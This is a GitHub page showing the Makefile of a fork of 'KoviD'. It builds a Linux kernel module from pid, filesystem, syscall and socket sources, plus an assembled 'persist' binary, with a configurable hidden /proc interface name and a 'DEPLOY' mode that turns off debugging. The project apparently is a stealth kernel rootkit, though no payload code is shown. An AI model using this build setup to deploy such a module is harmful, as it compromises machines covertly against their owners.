forked from carloslack/KoviD
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Makefile
49 lines (35 loc) · 1.16 KB
/
Makefile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
OBJNAME=kovid
# turn off ring buffer debug:
# $ DEPLOY=1 make
ifndef DEPLOY
DEBUG_PR := -DDEBUG_RING_BUFFER
endif
LD=$(shell which ld)
AS=$(shell which as)
CTAGS=$(shell which ctags))
# PROCNAME, /proc/<name> interface. You must change it.
COMPILER_OPTIONS := -Wall -DPROCNAME='"changeme"' \
-DMODNAME='"kovid"' -DKSOCKET_EMBEDDED ${DEBUG_PR} -DCPUHACK -DPRCTIMEOUT=1200
EXTRA_CFLAGS := -I$(src)/src -I$(src)/fs ${COMPILER_OPTIONS}
SRC := src/${OBJNAME}.c src/pid.c src/fs.c src/sys.c \
src/sock.c src/util.c src/vm.c
persist=src/persist
$(OBJNAME)-objs = $(SRC:.c=.o)
obj-m := ${OBJNAME}.o
CC=gcc
all: persist
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
persist:
$(AS) --64 $(persist).S -statistics -fatal-warnings \
-size-check=error -o $(persist).o
$(LD) -Ttext 200000 --oformat binary -o $(persist) $(persist).o
lgtm: persist
make -C /lib/modules/$(shell dpkg --status linux-headers-generic |grep ^Depends| \
cut -d ":" -f2| sed 's/ linux-headers-//g')/build M=$(PWD) modules
clean:
@make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
@rm -f *.o src/*.o $(persist)
@echo "Clean."
tags:
$(CTAGS) -RV src/.
.PHONY: all clean tags